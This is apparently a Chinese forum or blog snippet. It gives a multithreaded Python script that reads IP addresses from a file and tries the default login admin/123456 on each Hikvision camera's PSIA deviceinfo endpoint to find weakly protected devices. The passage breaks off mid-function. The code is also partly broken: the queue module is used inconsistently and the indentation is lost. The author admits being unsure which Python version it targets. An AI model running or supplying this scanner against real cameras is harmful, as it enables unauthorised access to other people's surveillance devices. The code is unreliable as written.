是Python2還是3我給忘記了峭范,大家自己試試吧。
#!/usr/bin/env python
#-*-coding:utf-8-*-
#批量篩選喊鸬В康威視攝像頭的弱密碼
import threading
import requests
import queue
import sys
import re
def Threads():
threadlist=[]
queue=Queue.Queue()
for ip in open('ip.txt','r'): #掃描出的ip
queue.put(ip.replace('\n',''))
for x in range(0,10): #線程數(shù)
th=threading.Thread(target=scan_Hikvision,args=(queue,))
threadlist.append(th)
for t in threadlist:
t.start()
for t in threadlist:
t.join()
def scan_Hikvision(queue):
while not queue.empty():
ip=queue.get()
try:
print("[*]scan:"+ip)
r = requests.get(url=("http://%s/PSIA/System/deviceinfo" % ip),auth=('admin','123456'))